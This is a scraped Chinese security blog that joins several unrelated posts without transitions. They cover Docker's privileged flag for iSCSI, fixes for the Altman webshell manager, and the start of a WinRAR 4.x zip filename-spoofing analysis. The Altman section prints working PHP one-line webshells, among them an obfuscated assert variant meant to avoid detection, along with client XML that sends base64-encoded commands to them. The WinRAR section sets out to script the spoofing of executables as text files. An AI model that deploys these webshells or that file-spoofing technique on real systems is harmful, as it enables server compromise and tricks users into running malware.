因为有业务需求，需要在docker的容器下连接iscsi磁盘。
部署docker镜像，安装open-iscsi： test@testpc$ docker pull ubuntu:14.04 test@testpc$ docker run ubuntu:14.04 apt-get install -y open-iscsi 进入容器，运行iscsiadm： root@aaaa# iscsiadm -m discovery -t st -p 192.168.1.10 iscsiadm: can not connect to iSCSI daemon (111)! iscsiadm: can not connect to iSCSI daemon (111)! iscsiadm: Cann perform discovery. connect to iSCSI daemon (111)! 初步排查原因，可能是因为找不到iscsi的驱动。该装装，该删删，结果依旧不行。
有没有可能是docker本身的默认配置或策略问题？想到这，果然在某个docker官方文档中找到了一个参数privileged:
test@testpc$ docker help run ... --privileged=false Give extended privileges to this container ... docker容器内的root，默认情况下只是外部的一个普通用户权限，并不拥有root权限。只有使用了该参数，容器内的root才拥有真正的root权限。
尝试一下：
使用privileged创建一个新的容器： test@testpc$ docker run --privileged --name test -t -i ubuntu:14....
一直有小伙伴给我反馈说：在.Net环境安装好的情况下，Altman不能自动载入插件。
而我在测试的时候，确实发生过相似的现象，但却找不到问题所在。
今天早些时候，在stackoverflow看到之前有人提到过类似的问题，恍然大悟。
原来，当我们从Web下载Altman程序的时候，程序集将会被添加一个新的安全属性（文件来自网络，已被锁定）。运行altman，由于loadFromRemoteSources默认属性是false，程序就无法加载这些插件dll。(在这里有详细的说明)
所以，解决这个问题目前有三种方法：
手动修改Plugins目录下插件的文件属性。 在程序根目录下添加Altman.exe.config，内容如下: <configuration>
<runtime>
<loadFromRemoteSources enabled="true"/>
</runtime>
</configuration>
主程序将在下一个版本2.2.1中解决该问题。
之前测试altman工具的时候，遇到了一个问题，现解决方法如下：
Altman连接phpEval一句话木马的时候，phpEval.type的定义如下：
<customShellType>
<basicSetting>
<name>phpEval</name>
<serviceExample><![CDATA[<?php @eval($_POST[a])?>]]></serviceExample>
<mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
</basicSetting>
<mainCodeSetting>
<funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
<item><![CDATA[print("->|");
eval(base64_decode($_POST[$funcCode$]));
print("|<-");
die();]]></item>
</mainCodeSetting>
</customShellType>
eval函数执行php语句
print("->|");eval(base64_decode($_POST[$funcCode$]));print("|<-");die();时，
确实是正确的。
然而当使用某些变形php一句话木马，如：
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["a"]); ?>
时，
Altman就无法连接一句话木马了。
原因在于，这个变形木马使用的是assert函数，而eval与assert最主要区别是eval的参数可以是多个语句，而assert的参数是一个表达式。所以assert只会执行到print("->|")代码，后面的代码则直接报错了。
所以在了解到eval与assert的区别后，很容易写出一个新脚本类型，phpAssert.type定义如下：
<customShellType>
<basicSetting>
<name>phpAssert</name>
<serviceExample><![CDATA[<?php @assert($_POST[a])?>]]></serviceExample>
<mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
</basicSetting>
<mainCodeSetting>
<funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
<item><![CDATA[@eval("print('->|');".base64_decode($_POST[$funcCode$])."print('|<-');");]]></item>
</mainCodeSetting>
</customShellType>
PS:其实assert还有一个坑，那就是echo在assert中是不能直接使用的，因为在php中echo并不是一个函数:)，不能作为表达式。
0×00 背景 这几天仔细研究了winrar4.x系列的文件扩展名欺骗漏洞的那篇文章，通过一些测试对其有了一些新的想法和建议。（准确的说应该不能算文件扩展名欺骗漏，不止扩展名，整个文件名都是可以欺骗的）
具体的漏洞成因相信文章中都很清楚了，简单说一下：
zip格式中有2个filename，一般情况下，一般应用程序打开zip时，预览使用的是filename2，点击预览也是以filename2方式打开的，只有在解压的时候才会使用filename1。然而在winrar4.x中，点击预览是以预览filename1方式打开的。
这会造成什么结果呢？当第一个filename为readme.exe，第二个filename为readme.txt时，用winrar4.x打开时，你在程序窗口看到的文件名为readme.txt，然后你再点击文件时却是以readme.exe方式打开，这就形成漏洞了。
文章给出了如何利用这个bug的方法，更改filename2即可。但是作者是手动操作的，那么能不能写成利用脚本呢？这个filename2的长度有没有要求，需不需要和filename1长度相同？这正是本文要研究的。
0×01 细节 在研究这个问题以前，先科普一下zip格式（想看详细版的去网上下载APPNOTE.TXT）。
zip格式由3部分组成：
1. 文件内容源数据
2. 目录源数据
3. 目录结束标识结构
以只压缩了一个文件的zip文件为例，大致格式为：
[file header]
[file data]
[data descriptor]
[central directory file header]
[end of central directory record]
其中关键的几个字段为：
[file header]:
Offset Bytes Description
18 4 Compressed size
26 2 File name length (n)
28 2 Extra field length (m)
30 n File name
30+n m Extra field
[central directory file header]:
Offset Bytes Description
28 2 File name length (n)
30 2 Extra field length (m)
34 2 File comment length (k)
[end of central directory record]:
Offset Bytes Description
12 4 Size of central directory (bytes)
16 4 Offset of start of central directory, relative to start of archive
在了解了zip基本格式后，我对winrar压缩生成的zip文件和用windows生成的zip文件进行了分析，它们的区别是winrar的zip文件在Extra field区段都进行了一些数据填充。...